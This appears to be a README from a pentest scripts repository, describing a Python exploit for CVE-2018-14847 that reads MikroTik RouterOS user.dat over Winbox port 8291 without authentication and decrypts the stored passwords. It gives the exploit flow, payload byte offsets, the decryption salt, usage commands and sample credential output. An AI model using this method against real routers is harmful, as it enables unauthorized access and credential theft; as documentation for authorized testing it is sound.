Pentest Tools — /network

Repository of scripts for auditing and penetration testing of networks. Use only on devices with formal authorization.

CVE-2018-14847 — MikroTik Winbox Credential Extractor

Description

Exploits the unauthenticated file read vulnerability in the MikroTik RouterOS Winbox service. The file handler (handler ID 2) does not validate authentication, allowing an external attacker to read the user.dat file which contains all users and passwords of the device.

Passwords are stored encrypted with XOR using the key MD5(username + "283i4jfkai3389"). The script performs decryption automatically.

Affected Versions

Branch	Vulnerable up to	Fixed version
Stable	6.42	6.42.1
Long-term	6.40.7	6.40.8
RC	6.42	6.43

Requirements

Python 3.x (no external dependencies)
Port 8291 (Winbox) accessible on the target

Usage

python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291

Examples

# Default target on port 8291
python3 cve_2018_14847.py 192.168.1.1

# Custom port
python3 cve_2018_14847.py 192.168.1.1 --port 8291

Exploit Flow

1. Connects to port 8291 (Winbox)
        ↓
2. Sends FIRST_PAYLOAD — opens session + requests /flash/rw/store/user.dat
        ↓
3. Extracts Session ID from byte 38 of the response
        ↓
4. Injects Session ID into byte 19 of SECOND_PAYLOAD
        ↓
5. Sends SECOND_PAYLOAD — reads the user.dat file
        ↓
6. Parses M2 entries → extracts username and encrypted password
        ↓
7. Decrypts password: XOR with MD5(username + salt)
        ↓
8. Displays credentials and saves to file

Expected Output

═══════════════════════════════════════════════════════
  CVE-2018-14847  —  MikroTik Winbox Credential Dump
  Unauthenticated File Read + Password Decryption
  Affected: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
  Target: 192.168.1.1:8291
  Date  : 2026-05-20 18:06:58

[*] Connecting to 192.168.1.1:8291 ...
[+] Connected to Winbox service.
[*] Sending payload 1 (file request) ...
[+] Response received (84 bytes). Session ID: 0x35
[*] Sending payload 2 (reading user.dat) ...
[+] Data received (312 bytes).
[*] Analyzing user.dat (257 useful bytes) ...

═══════════════════════════════════════════════════════
  EXTRACTED CREDENTIALS
═══════════════════════════════════════════════════════
  Username: admin
  Password: senha123
  Combo  : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credential(s) found.
[+] Result saved in: mikrotik_1192.168.1.1_20260520_180658.txt

Output File

The result is automatically saved in:

mikrotik_<IP>_<TIMESTAMP>.txt

Example: mikrotik_192.168.1.1_20260520_180658.txt

Contains: target IP, date, CVE, affected version and all username:password pairs.

References

CVE: CVE-2018-14847
Exploit-DB: EDB-ID #45170
Original discovery: Omid Shojaei (@Dmitriy_area51)
Disclosure: April 2018

Folder Structure

/network/
├── README.md                        # this file
├── cve_2018_14847.py                # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md      # CGNAT pentest report
├── pentest_roteador_192.168.2.1.md  # router pentest report
└── mikrotik_<IP>_<TIMESTAMP>.txt    # results generated by the script

LEGAL NOTICE: These tools are for exclusive use in authorized environments. Unauthorized execution against third-party systems is a crime under Law 12.737/2012 (Carolina Dieckmann Law) and Art. 154-A of the Brazilian Penal Code.

VULNERAVEL-CVE-2018-14847---CREDENCIAIS-EXTRAIDAS

Most Popular